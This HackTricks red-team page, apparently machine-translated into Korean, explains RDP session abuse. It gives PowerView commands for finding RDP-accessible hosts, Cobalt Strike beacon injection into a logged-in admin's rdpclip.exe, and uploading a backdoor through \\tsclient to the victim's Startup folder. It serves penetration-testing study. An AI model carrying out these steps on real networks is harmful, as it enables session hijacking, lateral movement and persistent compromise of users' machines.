RDP Sessions Abuse

htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!

HackTricks를 지원하는 다른 방법:

RDP 프로세스 삽입

외부 그룹이 현재 도메인의 컴퓨터어떤 컴퓨터에 RDP 액세스를 가지고 있다면, 공격자해당 컴퓨터를 침해하고 기다릴 수 있습니다.

한 번 사용자가 RDP를 통해 접속한 후, 공격자는 해당 사용자의 세션으로 피벗하여 외부 도메인에서 권한을 남용할 수 있습니다.

# Supposing the group "External Users" has RDP access in the current domain
## lets find where they could access
## The easiest way would be with bloodhound, but you could also run:
Get-DomainGPOUserLocalGroupMapping -Identity "External Users" -LocalGroup "Remote Desktop Users" | select -expand ComputerName
#or
Find-DomainLocalGroupMember -GroupName "Remote Desktop Users" | select -expand ComputerName

# Then, compromise the listed machines, and wait til someone from the external domain logs in:
net logons
Logged on users at \\localhost:
EXT\super.admin

# With cobalt strike you could just inject a beacon inside of the RDP process
beacon> ps
PID   PPID  Name                         Arch  Session     User
---   ----  ----                         ----  -------     -----
...
4960  1012  rdpclip.exe                  x64   3           EXT\super.admin

beacon> inject 4960 x64 tcp-local
## From that beacon you can just run powerview modules interacting with the external domain as that user

다른 도구를 사용하여 세션을 도용하는 다른 방법이 페이지에서 확인하세요.

RDPInception

공격자기다리는 기계RDP를 통해 사용자가 액세스하면, 공격자는 사용자의 RDP 세션에 비콘을 삽입할 수 있으며, 피해자가 RDP를 통해 드라이브를 마운트했을 경우, 공격자는 이에 접근할 수 있습니다.

이 경우, 시작 폴더백도어를 작성하여 피해자의 원래 컴퓨터침해할 수 있습니다.

# Wait til someone logs in:
net logons
Logged on users at \\localhost:
EXT\super.admin

# With cobalt strike you could just inject a beacon inside of the RDP process
beacon> ps
PID   PPID  Name                         Arch  Session     User
---   ----  ----                         ----  -------     -----
...
4960  1012  rdpclip.exe                  x64   3           EXT\super.admin

beacon> inject 4960 x64 tcp-local

# There's a UNC path called tsclient which has a mount point for every drive that is being shared over RDP.
## \\tsclient\c is the C: drive on the origin machine of the RDP session
beacon> ls \\tsclient\c

Size     Type    Last Modified         Name
----     ----    -------------         ----
dir     02/10/2021 04:11:30   $Recycle.Bin
dir     02/10/2021 03:23:44   Boot
dir     02/20/2021 10:15:23   Config.Msi
dir     10/18/2016 01:59:39   Documents and Settings
[...]

# Upload backdoor to startup folder
beacon> cd \\tsclient\c\Users\<username>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
beacon> upload C:\Payloads\pivot.exe
htARTE (HackTricks AWS Red Team Expert)를 통해 제로부터 AWS 해킹을 배워보세요!

HackTricks를 지원하는 다른 방법:

Last updated